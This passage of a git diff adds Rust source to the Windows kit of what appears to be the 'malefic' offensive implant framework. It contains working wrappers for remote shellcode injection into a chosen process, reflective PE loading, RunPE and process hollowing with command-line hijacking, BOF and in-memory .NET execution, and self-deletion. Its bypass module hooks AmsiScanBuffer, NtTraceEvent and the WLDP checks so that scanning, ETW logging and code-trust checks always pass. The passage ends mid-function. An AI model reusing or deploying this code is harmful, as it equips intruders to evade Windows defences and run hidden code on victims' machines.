::std::os::raw::c_void) -> *const u8; +} +extern "C" { + pub fn SafeFreePipeData(data: *const u8); +} +extern "C" { + pub fn CLRVersion() -> RawString; +} +extern "C" { + pub fn MProcess32First( + hSnapshot: *mut ::std::os::raw::c_void, + lppe: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MProcess32Next( + hSnapshot: *mut ::std::os::raw::c_void, + lppe: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MNtContinue(ThreadContext: *mut ::std::os::raw::c_void, RaiseAlert: u8) -> i32; +} +extern "C" { + pub fn MGetNumaNodeProcessorMask(Node: u8, ProcessorMask: *mut u64) -> bool; +} +extern "C" { + pub fn MNtFlushInstructionCache( + ProcessHandle: *mut ::std::os::raw::c_void, + BaseAddress: *mut ::std::os::raw::c_void, + NumberOfBytesToFlush: usize, + ) -> i32; +} +extern "C" { + pub fn MNtQueryInformationThread( + ThreadHandle: *mut ::std::os::raw::c_void, + ThreadInformationClass: u32, + ThreadInformation: *mut ::std::os::raw::c_void, + ThreadInformationLength: u32, + ReturnLength: *mut u32, + ) -> i32; +} +extern "C" { + pub fn MRtlCaptureContext(ContextRecord: *mut ::std::os::raw::c_void); +} +extern "C" { + pub fn MAddVectoredExceptionHandler( + First: u32, + Handler: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MRemoveVectoredExceptionHandler(Handle: *mut ::std::os::raw::c_void) -> u32; +} +extern "C" { + pub fn MVirtualAllocExNuma( + hProcess: *mut ::std::os::raw::c_void, + lpAddress: *mut ::std::os::raw::c_void, + dwSize: usize, + flAllocationType: u32, + flProtect: u32, + nndPreferred: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateEventA( + lpEventAttributes: *mut ::std::os::raw::c_void, + bManualReset: i32, + bInitialState: i32, + lpName: *const u8, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MSetEvent(hEvent: *mut ::std::os::raw::c_void) -> bool; +} +extern "C" { + pub fn MSleepEx(dwMilliseconds: u32, bAlertable: i32) -> u32; +} +extern "C" { + pub fn MCreateFileW( + lpFileName: *mut u16, + dwDesiredAccess: u32, + dwShareMode: u32, + lpSecurityAttributes: *mut ::std::os::raw::c_void, + dwCreationDisposition: u32, + dwFlagsAndAttributes: u32, + hTemplateFile: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MWriteFile( + hFile: *mut ::std::os::raw::c_void, + lpBuffer: *mut u8, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MNtSetInformationFile( + hFile: *mut ::std::os::raw::c_void, + IoStatusBlock: *mut ::std::os::raw::c_void, + FileInformation: *mut ::std::os::raw::c_void, + Length: u32, + FileInformationClass: u32, + ) -> i32; +} +extern "C" { + pub fn MNtQueryInformationProcess( + ProcessHandle: *mut ::std::os::raw::c_void, + ProcessInformationClass: u32, + ProcessInformation: *mut ::std::os::raw::c_void, + ProcessInformationLength: u32, + ReturnLength: *mut u32, + ) -> i32; +} +extern "C" { + pub fn MCreateThreadpoolWork( + pfnwk: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThreadpoolIo( + fl: *mut ::std::os::raw::c_void, + pfnio: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThreadpoolTimer( + pfnti: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThreadpoolWait( + pfnwa: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MTpAllocAlpcCompletion( + AlpcReturn: *mut ::std::os::raw::c_void, + AlpcPort: *mut ::std::os::raw::c_void, + Callback: *mut ::std::os::raw::c_void, + Context: *mut ::std::os::raw::c_void, + CallbackEnviron: *mut ::std::os::raw::c_void, + ) -> i32; +} +extern "C" { + pub fn MTpAllocJobNotification( + JobReturn: *mut ::std::os::raw::c_void, + HJob: *mut ::std::os::raw::c_void, + Callback: *mut ::std::os::raw::c_void, + Context: *mut ::std::os::raw::c_void, + CallbackEnviron: *mut ::std::os::raw::c_void, + ) -> i32; +} diff --git a/malefic-crates/win/src/kit/binding/mod.rs b/malefic-crates/win/src/kit/binding/mod.rs new file mode 100644 index 0000000..07b02eb --- /dev/null +++ b/malefic-crates/win/src/kit/binding/mod.rs @@ -0,0 +1,61 @@ +#[cfg(feature = "prebuild")] +#[allow(warnings)] +pub(crate) mod binding; + +/// C-compatible RawString matching both bindings::RawString and winkit ffi::RawString +#[repr(C)] +pub struct RawString { + pub data: *mut u8, + pub len: usize, + pub capacity: usize, +} + +impl RawString { + pub unsafe fn into_string(self) -> String { + if self.data.is_null() || self.len == 0 { + return String::new(); + } + String::from_raw_parts(self.data, self.len, self.capacity) + } + + pub unsafe fn into_bytes(self) -> Vec { + self.into_string().into_bytes() + } +} + +/// Macro to generate source/prebuild dual-branch FFI dispatch. +/// +/// For `prebuild`: calls `binding::$name` (bindgen-generated FFI). +/// For non-`prebuild`: calls `malefic_win_kit::ffi::$name` directly through Rust paths. +macro_rules! ffi_dispatcher { + // Functions returning RawString (need field copy between crate-local types) + (fn $name:ident($($arg:ident: $ty:ty),* $(,)?) -> RawString) => { + #[allow(non_snake_case)] + pub unsafe fn $name($($arg: $ty),*) -> $crate::kit::binding::RawString { + #[cfg(feature = "prebuild")] + { + let r = $crate::kit::binding::binding::$name($($arg),*); + $crate::kit::binding::RawString { data: r.data, len: r.len, capacity: r.capacity } + } + #[cfg(not(feature = "prebuild"))] + { + let r = malefic_win_kit::ffi::$name($($arg),*); + $crate::kit::binding::RawString { data: r.data, len: r.len, capacity: r.capacity } + } + } + }; + // Functions returning other types or void + (fn $name:ident($($arg:ident: $ty:ty),* $(,)?) $(-> $ret:ty)?) => { + #[allow(non_snake_case)] + pub unsafe fn $name($($arg: $ty),*) $(-> $ret)? { + #[cfg(feature = "prebuild")] + { $crate::kit::binding::binding::$name($($arg),*) } + #[cfg(not(feature = "prebuild"))] + { malefic_win_kit::ffi::$name($($arg),*) } + } + }; +} +pub(crate) use ffi_dispatcher; + +// Auto-generated dispatch functions +include!(concat!(env!("OUT_DIR"), "/ffi_dispatch.rs")); diff --git a/malefic-crates/win/src/kit/bof/mod.rs b/malefic-crates/win/src/kit/bof/mod.rs new file mode 100644 index 0000000..1886259 --- /dev/null +++ b/malefic-crates/win/src/kit/bof/mod.rs @@ -0,0 +1,25 @@ +use crate::kit::binding::MaleficBofLoader; + +pub unsafe fn bof_loader( + buffer: &Vec, + arguments: &Vec, + entrypoint_name: Option, +) -> String { + let c_strings: Vec<_> = arguments + .iter() + .map(|s| std::ffi::CString::new(s.as_str()).unwrap()) + .collect(); + let c_ptrs: Vec<_> = c_strings.iter().map(|s| s.as_ptr() as *const u8).collect(); + let ep = entrypoint_name.map(|s| std::ffi::CString::new(s).unwrap()); + let ep_ptr = ep + .as_ref() + .map_or(std::ptr::null(), |s| s.as_ptr() as *const u8); + MaleficBofLoader( + buffer.as_ptr(), + buffer.len(), + c_ptrs.as_ptr(), + c_ptrs.len(), + ep_ptr, + ) + .into_string() +} diff --git a/malefic-crates/win/src/kit/bypass/mod.rs b/malefic-crates/win/src/kit/bypass/mod.rs new file mode 100644 index 0000000..341ec2f --- /dev/null +++ b/malefic-crates/win/src/kit/bypass/mod.rs @@ -0,0 +1,159 @@ +use super::apis::{m_get_proc_address, m_load_library_a}; +use std::{ffi::c_void, sync::atomic}; + +use detour::static_detour; + +type AmsiScanBufferFn = + unsafe extern "system" fn(*mut c_void, *const u8, u32, *mut u16, *mut c_void, *mut u32) -> i32; +type NtTraceEvent = unsafe extern "system" fn(Handle: *mut c_void, Event: *mut c_void) -> i32; +type WldpQueryDynamicCodeTrustFn = unsafe extern "system" fn( + handle: *mut c_void, + baseimage: *const c_void, + image_size: u32, +) -> u32; +type WldpIsClassInApprovedListFn = unsafe extern "system" fn( + class_id: *const c_void, + hostinformation: *const c_void, + isapproved: *mut i32, + option_flags: u32, +) -> u32; + +static mut AMSI_BYPASS_BE_INITED: bool = false; +static mut ETW_BYPASS_BE_INITED: bool = false; +static mut WLDP_BYPASS_BE_INITED: bool = false; +static mut AMSI_BYPASS_ATOMIC: atomic::AtomicU8 = atomic::AtomicU8::new(0); +static mut WLDP_BYPASS_ATOMIC: atomic::AtomicU8 = atomic::AtomicU8::new(0); +static mut ETW_BYPASS_ATOMIC: atomic::AtomicU8 = atomic::AtomicU8::new(0); + +static_detour! { + static AmsiScanBufferDetour: unsafe extern "system" fn( + *mut c_void,*const u8,u32,*mut u16, + *mut c_void,*mut u32 + ) -> i32; + static WldpQueryDynamicCodeTrustDetour: unsafe extern "system" fn( + *mut c_void, *const c_void, u32 + ) -> u32; + static WldpIsClassInApprovedListDetour: unsafe extern "system" fn( + *const c_void, *const c_void, *mut i32, u32 + ) -> u32; + static NtTraceEventDetour: unsafe extern "system" fn(*mut c_void, *mut c_void) -> i32; +} + +pub unsafe fn bypass_wldp() { + if !WLDP_BYPASS_BE_INITED { + let wldp_module = + m_load_library_a(malefic_gateway::obfstr::obfstr!("wldp.dll\x00").as_ptr()); + if wldp_module.is_null() { + return; + } + let wldp_query_dynamic_code_trust = m_get_proc_address( + wldp_module, + malefic_gateway::obfstr::obfstr!("WldpQueryDynamicCodeTrust\x00").as_ptr(), + ); + if wldp_query_dynamic_code_trust.is_null() { + return; + } + let original_wldp_query_dynamic_code_trust: WldpQueryDynamicCodeTrustFn = + std::mem::transmute(wldp_query_dynamic_code_trust); + let _ = WldpQueryDynamicCodeTrustDetour.initialize( + original_wldp_query_dynamic_code_trust, + |_, _, _| { + return 0; + }, + ); + let wldp_is_class_in_approved_list = m_get_proc_address( + wldp_module, + malefic_gateway::obfstr::obfstr!("WldpIsClassInApprovedList\x00").as_ptr(), + ); + if wldp_is_class_in_approved_list.is_null() { + return; + } + let original_wldp_is_class_in_approved_list: WldpIsClassInApprovedListFn = + std::mem::transmute(wldp_is_class_in_approved_list); + let _ = WldpIsClassInApprovedListDetour.initialize( + original_wldp_is_class_in_approved_list, + |_, _, is_approved, _| { + *is_approved = 1; + return 0; + }, + ); + } + let _ = WldpQueryDynamicCodeTrustDetour.enable(); + let _ = WldpIsClassInApprovedListDetour.enable(); + WLDP_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); +} + +pub unsafe fn bypass_amsi() { + if !AMSI_BYPASS_BE_INITED { + let amsi_module = + m_load_library_a(malefic_gateway::obfstr::obfstr!("amsi.dll\x00").as_ptr()); + if amsi_module.is_null() { + return; + } + let amsi_scan_buffer = m_get_proc_address( + amsi_module, + malefic_gateway::obfstr::obfstr!("AmsiScanBuffer\x00").as_ptr(), + ); + if amsi_scan_buffer.is_null() { + return; + } + let original_amsi: AmsiScanBufferFn = std::mem::transmute(amsi_scan_buffer); + let _ = AmsiScanBufferDetour.initialize(original_amsi, |_, _, _, _, _, value: *mut u32| { + // AMSI_RESULT_CLEAN + *value = 0; + return 0; + }); + AMSI_BYPASS_BE_INITED = true; + } + let _ = AmsiScanBufferDetour.enable(); + AMSI_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); +} + +pub unsafe fn bypass_etw() { + if !ETW_BYPASS_BE_INITED { + let etw_module = + m_load_library_a(malefic_gateway::obfstr::obfstr!("ntdll.dll\x00").as_ptr()); + if etw_module.is_null() { + return; + } + let nt_trace_event = m_get_proc_address( + etw_module, + malefic_gateway::obfstr::obfstr!("NtTraceEvent\x00").as_ptr(), + ); + if nt_trace_event.is_null() { + return; + } + let original_nt_trace_event: NtTraceEvent = std::mem::transmute(nt_trace_event); + let _ = NtTraceEventDetour.initialize(original_nt_trace_event, |_, _| { + return 0; + }); + ETW_BYPASS_BE_INITED = true; + } + let _ = NtTraceEventDetour.enable(); + ETW_BYPASS_ATOMIC.fetch_add(1, atomic::Ordering::AcqRel); +} + +pub unsafe fn enable_amsi() { + AMSI_BYPASS_ATOMIC.fetch_sub(1, atomic::Ordering::AcqRel); + if AMSI_BYPASS_ATOMIC.load(atomic::Ordering::Acquire) > 0 { + return; + } + let _ = AmsiScanBufferDetour.disable(); +} + +pub unsafe fn enable_etw() { + ETW_BYPASS_ATOMIC.fetch_sub(1, atomic::Ordering::AcqRel); + if ETW_BYPASS_ATOMIC.load(atomic::Ordering::Acquire) > 0 { + return; + } + let _ = NtTraceEventDetour.disable(); +} + +pub unsafe fn enable_wldp() { + WLDP_BYPASS_ATOMIC.fetch_sub(1, atomic::Ordering::AcqRel); + if WLDP_BYPASS_ATOMIC.load(atomic::Ordering::Acquire) > 0 { + return; + } + let _ = WldpQueryDynamicCodeTrustDetour.disable(); + let _ = WldpIsClassInApprovedListDetour.disable(); +} diff --git a/malefic-crates/win/src/kit/clr/mod.rs b/malefic-crates/win/src/kit/clr/mod.rs new file mode 100644 index 0000000..159ce2f --- /dev/null +++ b/malefic-crates/win/src/kit/clr/mod.rs @@ -0,0 +1,20 @@ +use crate::kit::binding::{CLRVersion, MaleficExecAssembleInMemory}; + +pub fn display_installed_dotnet_version() -> Vec { + let s = unsafe { CLRVersion().into_string() }; + if s.is_empty() { + vec![] + } else { + s.split('\n').map(String::from).collect() + } +} + +pub unsafe fn exec_assemble_in_memory(data: &[u8], args: Vec) -> String { + let c_strings: Vec<_> = args + .iter() + .map(|s| std::ffi::CString::new(s.as_str()).unwrap()) + .collect(); + let c_ptrs: Vec<_> = c_strings.iter().map(|s| s.as_ptr() as *const u8).collect(); + MaleficExecAssembleInMemory(data.as_ptr(), data.len(), c_ptrs.as_ptr(), c_ptrs.len()) + .into_string() +} diff --git a/malefic-crates/win/src/kit/hide/mod.rs b/malefic-crates/win/src/kit/hide/mod.rs new file mode 100644 index 0000000..c928a9e --- /dev/null +++ b/malefic-crates/win/src/kit/hide/mod.rs @@ -0,0 +1,5 @@ +use crate::kit::binding::DeleteSelf; + +pub unsafe fn self_delete(stream: &str) { + DeleteSelf(stream.as_ptr(), stream.len() as u32) +} diff --git a/malefic-crates/win/src/kit/inject/create_thread/mod.rs b/malefic-crates/win/src/kit/inject/create_thread/mod.rs new file mode 100644 index 0000000..d6e94e1 --- /dev/null +++ b/malefic-crates/win/src/kit/inject/create_thread/mod.rs @@ -0,0 +1,10 @@ +use crate::kit::binding::InjectRemoteThread; +use malefic_gateway::obfstr::obfstr; + +pub unsafe fn loader(bin: Vec, pid: u32) -> Result { + if bin.is_empty() { + return Err(obfstr!("empty shellcode").to_string()); + } + let ret = InjectRemoteThread(bin.as_ptr(), bin.len(), pid); + Ok(ret.into_string()) +} diff --git a/malefic-crates/win/src/kit/inject/mod.rs b/malefic-crates/win/src/kit/inject/mod.rs new file mode 100644 index 0000000..28a7ffc --- /dev/null +++ b/malefic-crates/win/src/kit/inject/mod.rs @@ -0,0 +1,5 @@ +pub mod create_thread; + +pub fn remote_inject(bin: &[u8], pid: u32) -> Result { + unsafe { create_thread::loader(bin.to_vec(), pid) } +} diff --git a/malefic-crates/win/src/kit/mod.rs b/malefic-crates/win/src/kit/mod.rs new file mode 100644 index 0000000..f540b3a --- /dev/null +++ b/malefic-crates/win/src/kit/mod.rs @@ -0,0 +1,23 @@ +#![allow(dead_code)] + +pub mod apis; +pub mod bof; +#[cfg(feature = "bypass")] +pub mod bypass; +pub mod clr; +pub mod hide; +pub mod inject; +pub mod pe; +pub mod pwsh; + +pub mod binding; + +/// Subset of winkit's MaleficModule — only the fields consumers actually use. +/// Safe because winkit's full struct is #[repr(C)], so the first 3 fields +/// have identical layout. +#[repr(C)] +pub struct MaleficModule { + pub new_module: *mut core::ffi::c_void, + pub entry_point: *const core::ffi::c_void, + pub export_func: Vec<(String, usize)>, +} diff --git a/malefic-crates/win/src/kit/pe/inlinepe.rs b/malefic-crates/win/src/kit/pe/inlinepe.rs new file mode 100644 index 0000000..903a519 --- /dev/null +++ b/malefic-crates/win/src/kit/pe/inlinepe.rs @@ -0,0 +1,32 @@ +use crate::kit::binding::InlinePE; + +pub unsafe fn inline_pe( + bin: *const u8, + bin_size: usize, + magic: *const u16, + signature: *const u32, + commandline: *const u8, + commandline_len: usize, + entrypoint: *const u8, + entrypoint_len: usize, + is_dll: bool, + is_need_output: bool, + timeout: u32, + delay: u32, +) -> Vec { + InlinePE( + bin, + bin_size, + magic, + signature, + commandline, + commandline_len, + entrypoint, + entrypoint_len, + is_dll, + is_need_output, + timeout, + delay, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/mod.rs b/malefic-crates/win/src/kit/pe/mod.rs new file mode 100644 index 0000000..c460061 --- /dev/null +++ b/malefic-crates/win/src/kit/pe/mod.rs @@ -0,0 +1,63 @@ +pub mod inlinepe; +pub mod reflective_loader; +pub mod runpe; +pub mod utils; + +use crate::kit::binding::{HijackCommandLine, PELoader, RunSacrifice, UnloadPE}; + +pub unsafe fn unload_pe(pe_loader: *mut core::ffi::c_void) { + UnloadPE(pe_loader as _); +} + +pub unsafe fn unload_pe_no_tls(pe_loader: *mut core::ffi::c_void) { + UnloadPE(pe_loader as _); +} + +pub unsafe fn hijack_commandline(commandline: &Option) -> bool { + let s = String::new(); + let commandline = match commandline.as_ref() { + Some(c) => c, + None => &s, + }; + HijackCommandLine(commandline.as_ptr(), commandline.len()) != 0 +} + +pub unsafe fn load_pe( + bin: Vec, + magic: Option, + signature: Option, +) -> *const core::ffi::c_void { + if bin.is_empty() { + return std::ptr::null(); + } + PELoader( + std::ptr::null(), + bin.as_ptr() as _, + bin.len(), + magic.is_some(), + signature.is_some(), + magic.unwrap_or(0), + signature.unwrap_or(0), + ) +} + +pub unsafe fn run_sacrifice( + application_name: *mut u8, + start_commandline: &[u8], + hijack_commandline: &[u8], + parent_id: u32, + need_output: bool, + block_dll: bool, +) -> Vec { + RunSacrifice( + application_name, + start_commandline.as_ptr(), + start_commandline.len(), + hijack_commandline.as_ptr(), + hijack_commandline.len(), + parent_id, + need_output, + block_dll, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/reflective_loader.rs b/malefic-crates/win/src/kit/pe/reflective_loader.rs new file mode 100644 index 0000000..492d59f --- /dev/null +++ b/malefic-crates/win/src/kit/pe/reflective_loader.rs @@ -0,0 +1,32 @@ +use crate::kit::binding::ReflectiveLoader; + +pub unsafe fn reflective_loader( + start_commandline: *const u8, + start_commandline_len: usize, + reflective_loader_name: *const u8, + reflective_loader_name_len: usize, + data: *const u8, + data_len: usize, + param: *const u8, + param_len: usize, + ppid: u32, + block_dll: bool, + timeout: u32, + is_need_output: bool, +) -> Vec { + ReflectiveLoader( + start_commandline, + start_commandline_len, + reflective_loader_name, + reflective_loader_name_len, + data, + data_len, + param, + param_len, + ppid, + block_dll, + timeout, + is_need_output, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/runpe.rs b/malefic-crates/win/src/kit/pe/runpe.rs new file mode 100644 index 0000000..5b4ab8f --- /dev/null +++ b/malefic-crates/win/src/kit/pe/runpe.rs @@ -0,0 +1,31 @@ +use crate::kit::binding::RunPE; + +pub unsafe fn run_pe( + start_commandline: &[u8], + hijack_commandline: &[u8], + data: &[u8], + entrypoint: &[u8], + args: &[u8], + is_x86: bool, + pid: u32, + block_dll: bool, + need_output: bool, +) -> Vec { + RunPE( + start_commandline.as_ptr(), + start_commandline.len(), + hijack_commandline.as_ptr(), + hijack_commandline.len(), + data.as_ptr(), + data.len(), + entrypoint.as_ptr(), + entrypoint.len(), + args.as_ptr(), + args.len(), + is_x86, + pid, + block_dll, + need_output, + ) + .into_bytes() +} diff --git a/malefic-crates/win/src/kit/pe/utils.rs b/malefic-crates/win/src/kit/pe/utils.rs new file mode 100644 index 0000000..d0d911a --- /dev/null +++ b/malefic-crates/win/src/kit/pe/utils.rs @@ -0,0 +1,57 @@ +use std::ptr::{null, read_unaligned}; + +use malefic_common::utils::{dbj2_str_hash, get_cstr_len, pointer_add}; +use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}; + +#[cfg(target_pointer_width = "64")] +#[allow(non_camel_case_types)] +pub type IMAGE_NT_HEADERS = windows::Win32::System::Diagnostics::Debug::IMAGE_NT_HEADERS64; +#[cfg(target_pointer_width = "32")] +#[allow(non_camel_case_types)] +pub type IMAGE_NT_HEADERS = windows::Win32::System::Diagnostics::Debug::IMAGE_NT_HEADERS32; + +#[macro_export] +macro_rules! get_nt_header { + ($base_addr: expr) => {{ + let dos_header = $base_addr as *mut IMAGE_DOS_HEADER; + pointer_add($base_addr, (*dos_header).e_lfanew as _) + }}; +} + +pub unsafe fn get_export_by_hash( + module_base: *const core::ffi::c_void, + func_hash: u32, +) -> *const core::ffi::c_void { + let nt_headers = get_nt_header!(module_base) as *const IMAGE_NT_HEADERS; + let export_dir = &(*nt_headers).OptionalHeader.DataDirectory[0]; + let export_dir_ptr = pointer_add(module_base, export_dir.VirtualAddress as usize) + as *const IMAGE_EXPORT_DIRECTORY; + if export_dir_ptr.is_null() { + return null(); + } + let export_dir = read_unaligned(export_dir_ptr); + let func_rva = pointer_add(module_base, export_dir.AddressOfFunctions as usize) as *const u32; + let func_name_rva = pointer_add(module_base, export_dir.AddressOfNames as usize) as *const u32; + let func_ord_rva = + pointer_add(module_base, export_dir.AddressOfNameOrdinals as usize) as *const u16; + + for i in 0..(export_dir.NumberOfFunctions as isize) { + let func_name = pointer_add( + module_base, + read_unaligned(func_name_rva.offset(i)) as usize, + ) as *const u8; + let hsah = dbj2_str_hash(core::slice::from_raw_parts( + func_name, + get_cstr_len(func_name), + )); + if hsah.eq(&func_hash) { + let func_ord = read_unaligned(func_ord_rva.offset(i)) as isize; + return pointer_add( + module_base, + read_unaligned(func_rva.offset(func_ord)) as usize, + ) as _; + } + } + + null() +} diff --git a/malefic-crates/win/src/kit/pwsh/mod.rs b/malefic-crates/win/src/kit/pwsh/mod.rs new file mode 100644 index 0000000..7363ba6 --- /dev/null +++ b/malefic-crates/win/src/kit/pwsh/mod.rs @@ -0,0 +1,5 @@ +use crate::kit::binding::MaleficPwshExecCommand; + +pub unsafe fn pwsh_exec_command(script: &String) -> String { + MaleficPwshExecCommand(script.as_ptr(), script.len()).into_string() +} diff --git a/malefic-crates/win/src/lib.rs b/malefic-crates/win/src/lib.rs new file mode 100644 index 0000000..d961512 --- /dev/null +++ b/malefic-crates/win/src/lib.rs @@ -0,0 +1,22 @@ +#![allow(dead_code)] + +pub mod common; +#[cfg(feature = "detour")] +pub mod detour; +#[cfg(any(feature = "source", feature = "prebuild"))] +pub mod kit; +#[cfg(feature = "pipe")] +pub mod pipe; +#[cfg(feature = "reg")] +pub mod reg; +#[cfg(feature = "scheduler")] +pub mod scheduler; +#[cfg(feature = "service")] +pub mod service; +#[cfg(feature = "sleep_obf")] +pub mod sleep; +#[cfg(feature = "token")] +pub mod token; +pub mod types; +#[cfg(feature = "wmi")] +pub mod wmi; diff --git a/malefic-crates/win/src/pipe/mod.rs b/malefic-crates/win/src/pipe/mod.rs new file mode 100644 index 0000000..d305b14 --- /dev/null +++ b/malefic-crates/win/src/pipe/mod.rs @@ -0,0 +1,379 @@ +use crate::common::{self, to_wide_string}; +use std::ffi::OsStr; +use std::os::windows::ffi::OsStrExt; +use std::ptr::null_mut; +use windows::core::{Error, Result, PCWSTR}; +use windows::Win32::Foundation::{ + CloseHandle, GetLastError, ERROR_ACCESS_DENIED, ERROR_BROKEN_PIPE, ERROR_PIPE_BUSY, + ERROR_PIPE_CONNECTED, FALSE, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE, + WIN32_ERROR, +}; +use windows::Win32::Security::SECURITY_ATTRIBUTES; +use windows::Win32::Storage::FileSystem::{ + CreateFileW, FlushFileBuffers, ReadFile, WriteFile, FILE_FLAG_FIRST_PIPE_INSTANCE, + FILE_FLAG_OVERLAPPED, FILE_READ_ATTRIBUTES, FILE_SHARE_READ, FILE_SHARE_WRITE, + FILE_WRITE_ATTRIBUTES, OPEN_EXISTING, PIPE_ACCESS_DUPLEX, +}; +use windows::Win32::System::Pipes::{ + ConnectNamedPipe, CreateNamedPipeW, CreatePipe, DisconnectNamedPipe, SetNamedPipeHandleState, + WaitNamedPipeW, NAMED_PIPE_MODE, PIPE_READMODE_BYTE, PIPE_TYPE_BYTE, PIPE_TYPE_MESSAGE, + PIPE_WAIT, +}; + +const PIPE_UNLIMITED_INSTANCES: u32 = 255; +const PIPE_BUFFER_SIZE: u32 = 512; +const MAX_CREATE_FILE_RETRIES: u32 = 10; +const WAIT_NAMED_PIPE_TIMEOUT_MS: u32 = 5000; + +#[derive(Debug)] +pub struct NamedPipe { + handle: HANDLE, +} + +impl NamedPipe { + pub fn create(pipe_name: &str) -> Result { + let pipe_name_wide = to_wide_string(pipe_name); + let handle = unsafe { + CreateNamedPipeW( + PCWSTR(pipe_name_wide.as_ptr()), + PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, + PIPE_TYPE_MESSAGE | PIPE_WAIT, + PIPE_UNLIMITED_INSTANCES, + PIPE_BUFFER_SIZE, + PIPE_BUFFER_SIZE, + 0, + None, + ) + }; + if handle == INVALID_HANDLE_VALUE { + return Err(common::last_win32_error()); + } + Ok(NamedPipe { handle }) + } + + pub fn open(pipe_name: &str) -> Result { + let pipe_name_wide = to_wide_string(pipe_name); + let handle = unsafe { + CreateFileW( + PCWSTR(pipe_name_wide.as_ptr()), + GENERIC_READ.0 | GENERIC_WRITE.0, + FILE_SHARE_READ | FILE_SHARE_WRITE, + None, + OPEN_EXISTING, + FILE_FLAG_OVERLAPPED, + None, + ) + }; + let handle = handle?; + if handle == INVALID_HANDLE_VALUE { + return Err(common::last_win32_error()); + } + Ok(NamedPipe { handle }) + } + + pub fn wait(&self) -> Result<()> { + let result = unsafe { ConnectNamedPipe(self.handle, Some(null_mut())) }; + if result.is_err() { + let error_code = unsafe { GetLastError().0 }; + if error_code != ERROR_PIPE_CONNECTED.0 { + return Err(Error::from(WIN32_ERROR(error_code))); + } + } + Ok(()) + } + + pub fn disconnect(&self) -> Result<()> { + let result = unsafe { DisconnectNamedPipe(self.handle) }; + if result.is_err() { + return Err(common::last_win32_error()); + } + Ok(()) + } + + pub fn read(&self, buffer: &mut [u8]) -> Result { + let mut bytes_read: u32 = 0; + let result = unsafe { ReadFile(self.handle, Some(buffer), Some(&mut bytes_read), None) }; + if result.is_err() { + return Err(common::last_win32_error()); + } + Ok(bytes_read) + } + + pub fn write(&self, buffer: &[u8]) -> Result { + let mut bytes_written: u32 = 0; + let result = + unsafe { WriteFile(self.handle, Some(buffer), Some(&mut bytes_written), None) }; + if result.is_err() { + return Err(common::last_win32_error()); + } + Ok(bytes_written) + } + + pub fn close(&mut self) { + let _ = self.disconnect(); + if self.handle != INVALID_HANDLE_VALUE { + unsafe { + let _ = CloseHandle(self.handle); + } + self.handle = INVALID_HANDLE_VALUE; + } + } + + pub fn get_handle(&self) -> HANDLE { + self.handle + } +} + +impl Drop for NamedPipe { + fn drop(&mut self) { + if self.handle != INVALID_HANDLE_VALUE { + #[cfg(debug_assertions)] + malefic_common::debug!("WARNING: NamedPipe dropped without close()"); + let _ = self.disconnect(); + unsafe { + let _ = CloseHandle(self.handle); + } + } + } +} + +#[derive(Debug)] +struct Handle { + value: HANDLE, +} + +impl Drop for Handle { + fn drop(&mut self) { + let _ = unsafe { CloseHandle(self.value) }; + } +} + +unsafe impl Sync for Handle {} +unsafe impl Send for Handle {} + +#[derive(Debug)] +pub struct PipeClient { + handle: Handle, +} +unsafe impl Sync for PipeClient {} +unsafe impl Send for PipeClient {} + +impl PipeClient { + pub fn create_file(name: &[u16], initial_mode: u32) -> Result { + let access_modes = [ + initial_mode, + GENERIC_READ.0 | FILE_WRITE_ATTRIBUTES.0, + GENERIC_WRITE.0 | FILE_READ_ATTRIBUTES.0, + ]; + + for (idx, &mode) in access_modes.iter().enumerate() { + // Only try fallback modes when the initial mode was full duplex + if idx > 0 && initial_mode != (GENERIC_READ.0 | GENERIC_WRITE.0) { + break; + } + + let mut retries = 0; + loop { + let handle = unsafe { + CreateFileW( + PCWSTR::from_raw(name.as_ptr()), + mode, + FILE_SHARE_READ | FILE_SHARE_WRITE, + None, + OPEN_EXISTING, + FILE_FLAG_OVERLAPPED, + None, + ) + }; + match handle { + Ok(h) => return Ok(h), + Err(_) => { + let err = unsafe { GetLastError() }; + match err { + ERROR_PIPE_BUSY => { + retries += 1; + if retries >= MAX_CREATE_FILE_RETRIES { + break; // try next access mode + } + let _ = unsafe { + WaitNamedPipeW( + PCWSTR::from_raw(name.as_ptr()), + WAIT_NAMED_PIPE_TIMEOUT_MS, + ) + }; + } + ERROR_ACCESS_DENIED if idx < access_modes.len() - 1 => break, + _ => return Err(Error::from(WIN32_ERROR(err.0))), + } + } + } + } + } + Err(Error::from(WIN32_ERROR(ERROR_ACCESS_DENIED.0))) + } + + pub fn connect(name: &str) -> Result { + PipeClient::connect_ms(name, 0xFFFFFFFF) + } + + pub fn connect_ms(name: &str, timeout: u32) -> Result { + let wide_pipe_name: Vec = OsStr::new(&name) + .encode_wide() + 